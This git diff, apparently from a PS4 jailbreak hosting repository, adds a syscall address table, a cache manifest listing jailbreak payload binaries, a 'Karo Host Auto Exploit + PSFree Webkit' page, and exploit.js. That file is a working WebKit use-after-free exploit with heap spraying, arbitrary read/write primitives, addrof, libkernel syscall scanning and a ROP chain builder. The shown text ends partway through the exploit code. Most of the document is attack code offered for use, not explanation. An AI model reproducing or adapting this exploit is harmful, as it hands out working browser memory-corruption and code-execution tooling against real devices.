rtprio_thread_addr = sys_466_addr; +var evf_wait_addr = sys_542_addr; +var _umtx_op_addr = sys_454_addr; +var sigwait_addr = sys_429_addr; +var sendfile_addr = sys_393_addr; +var fdatasync_addr = sys_658_addr; +var ksem_init_addr = sys_404_addr; +var netabort_addr = sys_101_addr; +var setpriority_addr = sys_96_addr; +var getsockopt_addr = sys_118_addr; +var set_uevt_addr = sys_640_addr; +var close_addr = sys_6_addr; +var mdbg_service_addr = sys_601_addr; +var blockpool_open_addr = sys_653_addr; +var truncate_addr = sys_479_addr; +var opmc_get_hw_addr = sys_626_addr; +var namedobj_create_addr = sys_557_addr; +var get_kernel_mem_statistics_addr = sys_646_addr; +var jitshm_create_addr = sys_533_addr; +var ksem_close_addr = sys_400_addr; +var dl_get_list_addr = sys_535_addr; +var thr_get_name_addr = sys_616_addr; +var thr_set_name_addr = sys_464_addr; +var select_addr = sys_93_addr; +var thr_resume_ucontext_addr = sys_633_addr; +var aio_multi_delete_addr = sys_662_addr; +var msync_addr = sys_65_addr; +var sigaltstack_addr = sys_53_addr; +var set_gpo_addr = sys_617_addr; +var dup2_addr = sys_90_addr; +var clock_settime_addr = sys_233_addr; +var ksem_trywait_addr = sys_403_addr; +var ipmimgr_call_addr = sys_622_addr; +var get_bio_usage_all_addr = sys_667_addr; +var opmc_set_hw_addr = sys_625_addr; +var kqueue_addr = sys_362_addr; +var opmc_get_ctr_addr = sys_567_addr; +var getsockname_addr = sys_32_addr; +var get_self_auth_info_addr = sys_607_addr; +var aio_get_data_addr = sys_665_addr; +var query_memory_protection_addr = sys_547_addr; +var rfork_addr = sys_251_addr; +var sys_exit_addr = sys_1_addr; +var sigtimedwait_addr = sys_345_addr; +var getpriority_addr = sys_100_addr; +var process_terminate_addr = sys_652_addr; +var getdtablesize_addr = sys_89_addr; +var is_development_mode_addr = sys_606_addr; +var jitshm_alias_addr = sys_534_addr; +var getuid_addr = sys_24_addr; +var pwrite_addr = sys_476_addr; +var ftruncate_addr = sys_480_addr; +var sigpending_addr = sys_343_addr; +var physhm_unlink_addr = sys_630_addr; +var getitimer_addr = sys_86_addr; +var read_addr = sys_3_addr; +var stat_addr = sys_188_addr; +var pwritev_addr = sys_290_addr; diff --git a/702/Cache.manifest b/702/Cache.manifest new file mode 100644 index 00000000..dff84ffb --- /dev/null +++ b/702/Cache.manifest @@ -0,0 +1,52 @@ +CACHE MANIFEST + +CACHE: +702.js +app2usb.bin +ar100.bin +ar127.bin +ar132.bin +backup.bin +bqm132.bin +bqm133.bin +CopyCH.bin +cache.html +disableupdates.bin +dumper.bin +enableupdates.bin +enablebrowser.bin +exploit.js +exploitw.js +fix.bin +frontend.js +ftp.bin +goldhen_2.2.2_702.bin +goldhen_2.3_702.bin +historyblocker.bin +index.html +int64.js +jb.js +kernelclock.bin +lam132.bin +Lamance9.bin +linux1G.bin +linux3G.bin +loader.js +Orbis-Toolbox-702.bin +payload.js +pkg-backup.bin +ps4debug.bin +rdr113.bin +rdr119.bin +rdr124.bin +restore.bin +rop.js +todex.bin +userland.js +utils.js +vr.bin +web.html +webrte.bin + +NETWORK: +* \ No newline at end of file diff --git a/702/CopyCH.bin b/702/CopyCH.bin new file mode 100644 index 00000000..5c1c24cd Binary files /dev/null and b/702/CopyCH.bin differ diff --git a/702/Lamance9.bin b/702/Lamance9.bin new file mode 100644 index 00000000..6147bb34 Binary files /dev/null and b/702/Lamance9.bin differ diff --git a/702/Orbis-Toolbox-702.bin b/702/Orbis-Toolbox-702.bin new file mode 100644 index 00000000..2bbdaf3e Binary files /dev/null and b/702/Orbis-Toolbox-702.bin differ diff --git a/702/app2usb.bin b/702/app2usb.bin new file mode 100644 index 00000000..bc152ce3 Binary files /dev/null and b/702/app2usb.bin differ diff --git a/702/ar100.bin b/702/ar100.bin new file mode 100644 index 00000000..51a1bce4 Binary files /dev/null and b/702/ar100.bin differ diff --git a/702/ar127.bin b/702/ar127.bin new file mode 100644 index 00000000..54cd31c1 Binary files /dev/null and b/702/ar127.bin differ diff --git a/702/ar132.bin b/702/ar132.bin new file mode 100644 index 00000000..710084d4 Binary files /dev/null and b/702/ar132.bin differ diff --git a/702/backup.bin b/702/backup.bin new file mode 100644 index 00000000..a8c5b980 Binary files /dev/null and b/702/backup.bin differ diff --git a/702/bqm132.bin b/702/bqm132.bin new file mode 100644 index 00000000..0e01284e Binary files /dev/null and b/702/bqm132.bin differ diff --git a/702/bqm133.bin b/702/bqm133.bin new file mode 100644 index 00000000..31601b9c Binary files /dev/null and b/702/bqm133.bin differ diff --git a/702/cache.html b/702/cache.html new file mode 100644 index 00000000..7245b520 --- /dev/null +++ b/702/cache.html @@ -0,0 +1,239 @@ + + +Karo Host Auto Exploit + PSFree Webkit Version 7.00 - 7.02 fw + + + + + + +

Karo Host Auto Exploit + PSFree Webkit Version 7.00 - 7.02 fw

+

Caching... Wait

+ +
+
+
Designed, Compiled by :   Karo Sharifi +



Super Special Thanks To :   Sleirsgoevy , Al Azif , ChendoChap , SiSTRo ,Specter ,Abc ,Znullptr ,hippie68 ... +
+
+ + + + diff --git a/702/disableupdates.bin b/702/disableupdates.bin new file mode 100644 index 00000000..423be910 Binary files /dev/null and b/702/disableupdates.bin differ diff --git a/702/dumper.bin b/702/dumper.bin new file mode 100644 index 00000000..518f42f1 Binary files /dev/null and b/702/dumper.bin differ diff --git a/702/enablebrowser.bin b/702/enablebrowser.bin new file mode 100644 index 00000000..e69de29b diff --git a/702/enableupdates.bin b/702/enableupdates.bin new file mode 100644 index 00000000..c42d4e5b Binary files /dev/null and b/702/enableupdates.bin differ diff --git a/702/exploit.js b/702/exploit.js new file mode 100644 index 00000000..79f00014 --- /dev/null +++ b/702/exploit.js @@ -0,0 +1,1489 @@ +var master_b = new Uint32Array(2); +var slave_b = new Uint32Array(2); +var slave_addr; +var slave_buf_addr; +var master_addr; +addEventListener('unhandledrejection', (event) => { + const reason = event.reason; + // We log the line and column numbers as well since some exceptions (like + // SyntaxError) do not show it in the stack trace. + alert( + `${reason}\n` + + `${reason.sourceURL}:${reason.line}:${reason.column}\n` + + `${reason.stack}` + ); + throw reason; +}) + +const ps4_8_03 = 1; + +// this version for 9.xx +const ps4_9_00 = 2; + +// version 9.xx is for ps5 1.xx-5.xx as well +const ps5_5_00 = ps4_9_00; + +// this version for 6.50-6.72 +const ps4_6_50 = 3; + +// this version for 6.00-6.20 +const ps4_6_00 = 4; +let target = ps4_8_03; +function set_target(value) { + switch (value) { + case ps4_8_03: + case ps4_9_00: + case ps4_6_00: + case ps4_6_50: { + break; + } + default: { + throw RangeError('invalid target: ' + target); + } + } + + target = value; +} + + +function check_range(x) { + return (-0x80000000 <= x) && (x <= 0xffffffff); +} + +function unhexlify(hexstr) { + if (hexstr.substring(0, 2) === "0x") { + hexstr = hexstr.substring(2); + } + if (hexstr.length % 2 === 1) { + hexstr = '0' + hexstr; + } + if (hexstr.length % 2 === 1) { + throw TypeError("Invalid hex string"); + } + + let bytes = new Uint8Array(hexstr.length / 2); + for (let i = 0; i < hexstr.length; i += 2) { + let new_i = hexstr.length - 2 - i; + let substr = hexstr.slice(new_i, new_i + 2); + bytes[i / 2] = parseInt(substr, 16); + } + + return bytes; +} + +function operation(f, nargs) { + return function () { + if (arguments.length !== nargs) + throw Error("Not enough arguments for function " + f.name); + let new_args = []; + for (let i = 0; i < arguments.length; i++) { + if (!(arguments[i] instanceof Int)) { + new_args[i] = new Int(arguments[i]); + } else { + new_args[i] = arguments[i]; + } + } + return f.apply(this, new_args); + }; +} + +class Int { + constructor(low, high) { + let buffer = new Uint32Array(2); + let bytes = new Uint8Array(buffer.buffer); + + if (arguments.length > 2) { + throw TypeError('Int takes at most 2 args'); + } + if (arguments.length === 0) { + throw TypeError('Int takes at min 1 args'); + } + let is_one = false; + if (arguments.length === 1) { + is_one = true; + } + + if (!is_one) { + if (typeof (low) !== 'number' + && typeof (high) !== 'number') { + throw TypeError('low/high must be numbers'); + } + } + + if (typeof low === 'number') { + if (!check_range(low)) { + throw TypeError('low not a valid value: ' + low); + } + if (is_one) { + high = 0; + if (low < 0) { + high = -1; + } + } else { + if (!check_range(high)) { + throw TypeError('high not a valid value: ' + high); + } + } + buffer[0] = low; + buffer[1] = high; + } else if (typeof low === 'string') { + bytes.set(unhexlify(low)); + } else if (typeof low === 'object') { + if (low instanceof Int) { + bytes.set(low.bytes); + } else { + if (low.length !== 8) + throw TypeError("Array must have exactly 8 elements."); + bytes.set(low); + } + } else { + throw TypeError('Int does not support your object for conversion'); + } + + this.buffer = buffer; + this.bytes = bytes; + + this.eq = operation(function eq(b) { + const a = this; + return a.low() === b.low() && a.high() === b.high(); + }, 1); + + this.neg = operation(function neg() { + let type = this.constructor; + + let low = ~this.low(); + let high = ~this.high(); + + let res = (new Int(low, high)).add(1); + + return new type(res); + }, 0); + + this.add = operation(function add(b) { + let type = this.constructor; + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + + this.sub = operation(function sub(b) { + let type = this.constructor; + + b = b.neg(); + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + } + + low() { + return this.buffer[0]; + } + + high() { + return this.buffer[1]; + } + + toString(is_pretty) { + if (!is_pretty) { + let low = this.low().toString(16).padStart(8, '0'); + let high = this.high().toString(16).padStart(8, '0'); + return '0x' + high + low; + } + let high = this.high().toString(16).padStart(8, '0'); + high = high.substring(0, 4) + '_' + high.substring(4); + + let low = this.low().toString(16).padStart(8, '0'); + low = low.substring(0, 4) + '_' + low.substring(4); + return '0x' + high + '_' + low; + } +} + +Int.Zero = new Int(0); +Int.One = new Int(1); +function read(u8_view, offset, size) { + let res = 0; + for (let i = 0; i < size; i++) { + res += u8_view[offset + i] << i*8; + } + // << returns a signed integer, >>> converts it to unsigned + return res >>> 0; +} + +function read16(u8_view, offset) { + return read(u8_view, offset, 2); +} + +function read32(u8_view, offset) { + return read(u8_view, offset, 4); +} + +function read64(u8_view, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(u8_view[offset + i]); + } + return new Int(res); +} + +// for writes less than 8 bytes +function write(u8_view, offset, value, size) { + for (let i = 0; i < size; i++) { + u8_view[offset + i] = (value >>> i*8) & 0xff; + } +} + +function write16(u8_view, offset, value) { + write(u8_view, offset, value, 2); +} + +function write32(u8_view, offset, value) { + write(u8_view, offset, value, 4); +} + +function write64(u8_view, offset, value) { + if (!(value instanceof Int)) { + throw TypeError('write64 value must be an Int'); + } + + let low = value.low(); + let high = value.high(); + + for (let i = 0; i < 4; i++) { + u8_view[offset + i] = (low >>> i*8) & 0xff; + } + for (let i = 0; i < 4; i++) { + u8_view[offset + 4 + i] = (high >>> i*8) & 0xff; + } +} + +function sread64(str, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(str.charCodeAt(offset + i)); + } + return new Int(res); +} + +const KB = 1024; +const MB = KB * KB; +const GB = KB * KB * KB; +const js_butterfly = 0x8; + +// offsets for JSC::JSArrayBufferView +const view_m_vector = 0x10; +const view_m_length = 0x18; +const view_m_mode = 0x1c; + +// sizeof JSC::JSArrayBufferView +const size_view = 0x20; + +// offsets for WTF::StringImpl +const strimpl_strlen = 4; +const strimpl_m_data = 8; +const strimpl_inline_str = 0x14; + +// sizeof WTF::StringImpl +const size_strimpl = 0x18; + + +let mem = null; + +function init_module(memory) { + mem = memory; +} + +class Addr extends Int { + read8(offset) { + const addr = this.add(offset); + return mem.read8(addr); + } + + read16(offset) { + const addr = this.add(offset); + return mem.read16(addr); + } + + read32(offset) { + const addr = this.add(offset); + return mem.read32(addr); + } + + read64(offset) { + const addr = this.add(offset); + return mem.read64(addr); + } + + // returns a pointer instead of an Int + readp(offset) { + const addr = this.add(offset); + return mem.readp(addr); + } + + write8(offset, value) { + const addr = this.add(offset); + + mem.write8(addr, value); + } + + write16(offset, value) { + const addr = this.add(offset); + + mem.write16(addr, value); + } + + write32(offset, value) { + const addr = this.add(offset); + + mem.write32(addr, value); + } + + write64(offset, value) { + const addr = this.add(offset); + + mem.write64(addr, value); + } +} + +class MemoryBase { + _addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + this.worker.a = obj; + write64(this.main, view_m_vector, this.butterfly.sub(0x10)); + let res = read64(this.worker, 0); + write64(this.main, view_m_vector, this._current_addr); + + return res; + } + + addrof(obj) { + return new Addr(this._addrof(obj)); + } + + set_addr(addr) { + if (!(addr instanceof Int)) { + throw TypeError('addr must be an Int'); + } + this._current_addr = addr; + write64(this.main, view_m_vector, this._current_addr); + } + + get_addr() { + return this._current_addr; + } + + write0(size, offset, value) { + const i = offset + 1; + if (i >= 2**32 || i < 0) { + throw RangeError(`read0() invalid offset: ${offset}`); + } + + this.set_addr(new Int(-1)); + + switch (size) { + case 8: { + this.worker[i] = value; + } + case 16: { + write16(this.worker, i, value); + } + case 32: { + write32(this.worker, i, value); + } + case 64: { + write64(this.worker, i, value); + } + default: { + throw RangeError(`write0() invalid size: ${size}`); + } + } + } + + read8(addr) { + this.set_addr(addr); + return this.worker[0]; + } + + read16(addr) { + this.set_addr(addr); + return read16(this.worker, 0); + } + + read32(addr) { + this.set_addr(addr); + return read32(this.worker, 0); + } + + read64(addr) { + this.set_addr(addr); + return read64(this.worker, 0); + } + + // returns a pointer instead of an Int + readp(addr) { + return new Addr(this.read64(addr)); + } + + write8(addr, value) { + this.set_addr(addr); + this.worker[0] = value; + } + + write16(addr, value) { + this.set_addr(addr); + write16(this.worker, 0, value); + } + + write32(addr, value) { + this.set_addr(addr); + write32(this.worker, 0, value); + } + + write64(addr, value) { + this.set_addr(addr); + write64(this.worker, 0, value); + } +} +function make_buffer(addr, size) { + const u = new Uint8Array(1001); + const u_addr = mem.addrof(u); + const old_addr = u_addr.read64(view_m_vector); + const old_size = u_addr.read32(view_m_length); + + u_addr.write64(view_m_vector, addr); + u_addr.write32(view_m_length, size); + const copy = new Uint8Array(u.length); + copy.set(u); + const res = copy.buffer; + + // restore + u_addr.write64(view_m_vector, old_addr); + u_addr.write32(view_m_length, old_size); + + return res; +} + +function check_magic_at(p, is_text) { + const text_magic = [ + new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]), + new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]), + ]; + const data_magic = [ + new Int(0x20), + new Int(0x3c13f4bf, 0x2), + ]; + + const magic = is_text ? text_magic : data_magic; + const value = [p.read64(0), p.read64(8)]; + + return value[0].eq(magic[0]) && value[1].eq(magic[1]); +} +function find_base(addr, is_text, is_back) { + // ps4 page size + const page_size = 16 * KB; + // align to page size + addr = align(addr, page_size); + const offset = (is_back ? -1 : 1) * page_size; + while (true) { + if (check_magic_at(addr, is_text)) { + break; + } + addr = addr.add(offset) + } + return addr; +} + +function get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + return mem.addrof(view).readp(view_m_vector); +} + +function resolve_import(import_addr) { + if (import_addr.read16(0) !== 0x25ff) { + throw Error( + `instruction at ${import_addr} is not of the form: jmp qword` + + ' [rip + X]' + ); + } + const disp = import_addr.read32(2); + const offset = new Int(disp, disp >> 31); + const function_addr = import_addr.readp(offset.add(6)); + + return function_addr; +} + +function init_syscall_array( + syscall_array, + libkernel_web_base, + max_search_size, +) { + if (typeof max_search_size !== 'number') { + throw TypeError(`max_search_size is not a number: ${max_search_size}`); + } + if (max_search_size < 0) { + throw Error(`max_search_size is less than 0: ${max_search_size}`); + } + + const libkernel_web_buffer = make_buffer( + libkernel_web_base, + max_search_size, + ); + const kbuf = new Uint8Array(libkernel_web_buffer); + let text_size = 0; + let found = false; + for (let i = 0; i < max_search_size; i++) { + if (kbuf[i] === 0x72 + && kbuf[i + 1] === 0x64 + && kbuf[i + 2] === 0x6c + && kbuf[i + 3] === 0x6f + ) { + text_size = i; + found = true; + break; + } + } + if (!found) { + throw Error( + '"rdlo" string not found in libkernel_web, base address:' + + ` ${libkernel_web_base}` + ); + } + + for (let i = 0; i < text_size; i++) { + if (kbuf[i] === 0x48 + && kbuf[i + 1] === 0xc7 + && kbuf[i + 2] === 0xc0 + && kbuf[i + 7] === 0x49 + && kbuf[i + 8] === 0x89 + && kbuf[i + 9] === 0xca + && kbuf[i + 10] === 0x0f + && kbuf[i + 11] === 0x05 + ) { + const syscall_num = read32(kbuf, i + 3); + syscall_array[syscall_num] = libkernel_web_base.add(i); + // skip the sequence + i += 11; + } + } +} + +class Memory extends MemoryBase { + constructor(main, worker) { + super(); + + this.main = main; + this.worker = worker; + worker.a = 0; // dummy value, we just want to create the "a" property + this.butterfly = read64(main, js_butterfly); + + write32(main, view_m_length, 0xffffffff); + + this._current_addr = Int.Zero; + + init_module(this); + } +} + + +function die(msg) { + alert(msg); + undefinedFunction(); +} + +function debug_log(msg) { + document.getElementById("progress").style.color = "orange"; + document.getElementById("progress").innerHTML=msg; + let textNode = document.createTextNode(msg); + let node = document.createElement("p").appendChild(textNode); +} + +function clear_log() { + document.body.innerHTML = null; +} + +function str2array(str, length, offset) { + if (offset === undefined) { + offset = 0; + } + let a = new Array(length); + for (let i = 0; i < length; i++) { + a[i] = str.charCodeAt(i + offset); + } + return a; +} + +// alignment must be 32 bits and is a power of 2 +function align(a, alignment) { + if (!(a instanceof Int)) { + a = new Int(a); + } + const mask = -alignment & 0xffffffff; + let type = a.constructor; + let low = a.low() & mask; + return new type(low, a.high()); +} + +async function send(url, buffer, file_name, onload=() => {}) { + const file = new File( + [buffer], + file_name, + {type:'application/octet-stream'} + ); + const form = new FormData(); + form.append('upload', file); + + debug_log('send'); + const response = await fetch(url, {method: 'POST', body: form}); + + if (!response.ok) { + throw Error(`Network response was not OK, status: ${response.status}`); + } + onload(); +} +const syscall_map = new Map(Object.entries({ + 'close': 6, + 'setuid' : 23, + 'getuid' : 24, + 'mprotect': 74, + 'socket' : 97, + 'fchmod' : 124, + 'mlock' : 203, + 'kqueue' : 362, + 'kevent' : 363, + 'mmap' : 477, + // for JIT shared memory + 'jitshm_create' : 533, + 'jitshm_alias' : 534, +})); + +const upper_pad = 0x10000; +// maximum size of the ROP stack +const stack_size = 0x10000; +const total_size = upper_pad + stack_size; + +const argument_pops = [ + 'pop rdi; ret', + 'pop rsi; ret', + 'pop rdx; ret', + 'pop rcx; ret', + 'pop r8; ret', + 'pop r9; ret', +]; + +class ChainBase { + constructor() { + this.is_stale = false; + this.position = 0; + this._return_value = new Uint8Array(8); + this.retval_addr = get_view_vector(this._return_value); + + const stack_buffer = new ArrayBuffer(total_size); + this.stack_buffer = stack_buffer; + this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size); + this.stack_addr = get_view_vector(this.stack); + } + + check_stale() { + if (this.is_stale) { + throw Error('chain already ran, clean it first'); + } + this.is_stale = true; + } + + check_is_empty() { + if (this.position === 0) { + throw Error('chain is empty'); + } + } + + clean() { + this.position = 0; + this.is_stale = false; + } + + push_value(value) { + if (this.position >= stack_size) { + throw Error(`no more space on the stack, pushed value: ${value}`); + } + write64(this.stack, this.position, value); + this.position += 8; + } + + // converts value to Int first + push_constant(value) { + this.push_value(new Int(value)); + } + + get_gadget(insn_str) { + const addr = this.gadgets.get(insn_str); + if (addr === undefined) { + throw Error(`gadget not found: ${insn_str}`); + } + + return addr; + } + + push_gadget(insn_str) { + this.push_value(this.get_gadget(insn_str)); + } + + push_call(func_addr, ...args) { + if (args.length > 6) { + throw TypeError( + 'call() does not support functions that have more than 6' + + ' arguments' + ); + } + + for (let i = 0; i < args.length; i++) { + this.push_gadget(argument_pops[i]); + this.push_constant(args[i]); + } + + if ((this.position & (0x10 - 1)) !== 0) { + this.push_gadget('ret'); + } + + this.push_value(func_addr); + } + + push_syscall(syscall_name, ...args) { + if (typeof syscall_name !== 'string') { + throw TypeError(`syscall_name not a string: ${syscall_name}`); + } + + const sysno = syscall_map.get(syscall_name); + if (sysno === undefined) { + throw Error(`syscall_name not found: ${syscall_name}`); + } + + const syscall_addr = this.syscall_array[sysno]; + if (syscall_addr === undefined) { + throw Error(`syscall number not in syscall_array: ${sysno}`); + } + + this.push_call(syscall_addr, ...args); + } + + // ROP chain to retrieve rax + push_get_retval() { + throw Error('push_get_retval() not implemented'); + } + + run() { + throw Error('run() not implemented'); + } + + get return_value() { + return read64(this._return_value, 0); + } + + static init_class(gadgets, syscall_array=[]) { + for (const insn of argument_pops) { + if (!gadgets.has(insn)) { + throw Error(`gadget map must contain this gadget: ${insn}`); + } + } + this.prototype.gadgets = gadgets; + this.prototype.syscall_array = syscall_array; + } +} + +const ssv_len = (() => { + switch (target) { + case ps4_6_00: { + return 0x58; + } + case ps4_9_00: { + return 0x50; + } + case ps4_6_50: + case ps4_8_03: { + return 0x48; + } + default: { + throw RangeError('invalid target: ' + target); + } + } +})(); + +const num_reuse = 0x400; + +// size of JSArrayBufferView +const original_strlen = ssv_len - size_strimpl; +const buffer_len = 0x20; +const num_str = 0x400; +const num_gc = 30; +const num_space = 19; +const original_loc = window.location.pathname; +const loc = original_loc + '#foo'; +let rstr = null; +let view_leak_arr = []; +let jsview = []; + +// object for saving values +let s1 = {views : []}; +let view_leak = null; + +let input = document.body.appendChild(document.createElement("input")); +let foo = document.body.appendChild(document.createElement("a")); +foo.id = "foo"; +input.id = "input"; +let pressure = null; +function gc(num_loop) { + pressure = Array(100); + for (let i = 0; i < num_loop; i++) { + for (let i = 0; i < pressure.length; i++) { + pressure[i] = new Uint32Array(0x40000); + } + pressure = Array(100); + } + pressure = null; +} + +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +function prepare_uaf() { + // don't want any state0 near state1 + history.pushState('state0', ''); + for (let i = 0; i < num_space; i++) { + history.replaceState('state0', ''); + } + + history.replaceState("state1", "", loc); + + // don't want any state2 near state1 + history.pushState("state2", ""); + for (let i = 0; i < num_space; i++) { + history.replaceState("state2", ""); + } +} + +function free(save) { + history.replaceState('state3', '', original_loc); + + for (let i = 0; i < num_reuse; i++) { + let view = new Uint8Array(new ArrayBuffer(ssv_len)); + for (let i = 0; i < view.length; i++) { + view[i] = 0x41; + } + save.views.push(view); + } +} + +function check_spray(views) { + if (views.length !== num_reuse) { + debug_log(`views.length: ${views.length}`); + die('views.length !== num_reuse, restart the entire exploit'); + } + + for (let i = 0; i < num_reuse; i++) { + if (views[i][0] !== 0x41) { + return i; + } + } + return null; +} + +async function use_after_free(pop_func, save) { + const pop_promise = new Promise((resolve, reject) => { + function pop_wrapper(event) { + try { + pop_func(event, save); + } catch (e) { + reject(e); + } + resolve(); + } + addEventListener("popstate", pop_wrapper, {once:true}); + }); + + prepare_uaf(); + + let num_free = 0; + function onblur() { + if (num_free > 0) { + die('multiple free()s, restart the entire exploit'); + } + free(save); + num_free++; + } + + input.onblur = onblur; + await new Promise((resolve) => { + input.addEventListener('focus', resolve, {once:true}); + input.focus(); + }); + history.back(); + + await pop_promise; +} + +// get arbitrary read +async function setup_ar(save) { + const view = save.ab; + + // set refcount to 1, all other fields to 0/NULL + view[0] = 1; + for (let i = 1; i < view.length; i++) { + view[i] = 0; + } + + delete save.views; + delete save.pop; + gc(num_gc); + debug_log('setup_ar() gc done'); + let total_sleep = 0; + const num_sleep = 8; + while (true && target !== ps4_9_00) { + await sleep(num_sleep); + total_sleep += num_sleep; + + if (view[0] !== 1) { + break; + } + } + debug_log(`total_sleep: ${total_sleep}`); + debug_log(view); + + let num_spray = 0; + while (true) { + const obj = {}; + num_spray++; + + for (let i = 0; i < num_str; i++) { + let str = new String( + 'B'.repeat(original_strlen - 5) + + i.toString().padStart(5, '0') + ); + obj[str] = 0x1337; + } + + if (view[strimpl_inline_str] === 0x42) { + write32(view, strimpl_strlen, 0xffffffff); + } else { + continue; + } + + let found = false; + const str_arr = Object.getOwnPropertyNames(obj); + for (let i = 0; i < str_arr.length; i++) { + if (str_arr[i].length > 0xff) { + rstr = str_arr[i]; + found = true; + debug_log('confirmed correct leaked'); + debug_log(`str len: ${rstr.length}`); + debug_log(view); + debug_log(`read address: ${read64(view, strimpl_m_data)}`); + break; + } + } + if (!found) { + continue; + } + + debug_log(`num_spray: ${num_spray}`); + return; + } +} + +async function double_free(save) { + const view = save.ab; + + await setup_ar(save); + + // Spraying JSArrayBufferViews + debug_log('spraying views'); + let buffer = new ArrayBuffer(buffer_len); + let tmp = []; + const num_alloc = 0x10000; + const num_threshold = 0xfc00; + const num_diff = num_alloc - num_threshold; + for (let i = 0; i < num_alloc; i++) { + // The last allocated are more likely to be allocated after our relative read + if (i >= num_threshold) { + view_leak_arr.push(new Uint8Array(buffer)); + } else { + tmp.push(new Uint8Array(buffer)); + } + } + tmp = null; + debug_log('done spray views'); + let props = []; + for (let i = 0; i < num_diff; i++) { + props.push({ value: 0x43434343 }); + props.push({ value: view_leak_arr[i] }); + } + + debug_log('start find leak'); + search: while (true) { + Object.defineProperties({}, props); + for (let i = 0; i < 0x800000; i++) { + let v = null; + if (rstr.charCodeAt(i) === 0x43 && + rstr.charCodeAt(i + 1) === 0x43 && + rstr.charCodeAt(i + 2) === 0x43 && + rstr.charCodeAt(i + 3) === 0x43 + ) { + // check if PropertyDescriptor + if (rstr.charCodeAt(i + 0x08) === 0x00 && + rstr.charCodeAt(i + 0x0f) === 0x00 && + rstr.charCodeAt(i + 0x10) === 0x00 && + rstr.charCodeAt(i + 0x17) === 0x00 && + rstr.charCodeAt(i + 0x18) === 0x0e && + rstr.charCodeAt(i + 0x1f) === 0x00 && + rstr.charCodeAt(i + 0x28) === 0x00 && + rstr.charCodeAt(i + 0x2f) === 0x00 && + rstr.charCodeAt(i + 0x30) === 0x00 && + rstr.charCodeAt(i + 0x37) === 0x00 && + rstr.charCodeAt(i + 0x38) === 0x0e && + rstr.charCodeAt(i + 0x3f) === 0x00 + ) { + v = str2array(rstr, 8, i + 0x20); + // check if array of JSValues pointed by m_buffer + } else if (rstr.charCodeAt(i + 0x10) === 0x43 && + rstr.charCodeAt(i + 0x11) === 0x43 && + rstr.charCodeAt(i + 0x12) === 0x43 && + rstr.charCodeAt(i + 0x13) === 0x43) { + v = str2array(rstr, 8, i + 8); + } + } + if (v !== null) { + view_leak = new Int(v); + break search; + } + } + } + // + // /!\ + // Critical part ended-up here + // /!\ + // + debug_log('end find leak'); + debug_log('view addr ' + view_leak); + + let rstr_addr = read64(view, strimpl_m_data); + write64(view, strimpl_m_data, view_leak); + for (let i = 0; i < 4; i++) { + jsview.push(sread64(rstr, i*8)); + } + write64(view, strimpl_m_data, rstr_addr); + write32(view, strimpl_strlen, original_strlen); + debug_log('contents of JSArrayBufferView'); + debug_log(jsview); +} + +function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) { + const old_m_data = read64(view_rstr, strimpl_m_data); + + let res = null; + write64(view_rstr, strimpl_m_data, view_m_vector); + for (const view of view_arr) { + const magic = 0x41424344; + write32(view, 0, magic); + + if (sread64(rstr, 0).low() === magic) { + res = view; + break; + } + } + write64(view_rstr, strimpl_m_data, old_m_data); + + if (res === null) { + die('not found'); + } + return res; +} + + +class Reader { + // leaker will be the view whose address we leaked + constructor(rstr, view_rstr, leaker, leaker_addr) { + this.rstr = rstr; + this.view_rstr = view_rstr; + this.leaker = leaker; + this.leaker_addr = leaker_addr; + this.old_m_data = read64(view_rstr, strimpl_m_data); + + // Create a butterfy with the "a" property as the first. leaker is a + // JSArrayBufferView. Instances of that class don't have inlined + // properties and the butterfly is immediately created. + leaker.a = 0; // dummy value, we just want to create the "a" property + } + + addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + + this.leaker.a = obj; + + // no need to modify the length, original_strlen is large enough + write64(this.view_rstr, strimpl_m_data, this.leaker_addr); + + const butterfly = sread64(this.rstr, js_butterfly); + write64(this.view_rstr, strimpl_m_data, butterfly.sub(0x10)); + + const res = sread64(this.rstr, 0); + + write64(this.view_rstr, strimpl_m_data, this.old_m_data); + return res; + } + + get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + + write64(this.view_rstr, strimpl_m_data, this.addrof(view)); + const res = sread64(this.rstr, view_m_vector); + + write64(this.view_rstr, strimpl_m_data, this.old_m_data); + return res; + } +} + +// data to write to the SerializedScriptValue +// +// Setup to make deserialization create an ArrayBuffer with its buffer address +// pointing to a JSArrayBufferView (worker). +// +// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <= +// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap +// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer") +// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on +// the fastMalloc heap, the contents of the old one will be copied. This will +// change the m_vector field, so care must be taken if you cache the result of +// get_view_vector(), you must call it again to get the updated field. +// +// See enum TypedArrayMode from +// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and +// possiblySharedBuffer() from +// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03. +function setup_ssv_data(reader) { + const r = reader; + // sizeof WTF::Vector + const size_vector = 0x10; + // sizeof JSC::ArrayBufferContents + const size_abc = target === ps4_9_00 ? 0x18 : 0x20; + + // WTF::Vector + const m_data = new Uint8Array(size_vector); + const data = new Uint8Array(9); + + // m_buffer + write64(m_data, 0, r.get_view_vector(data)); 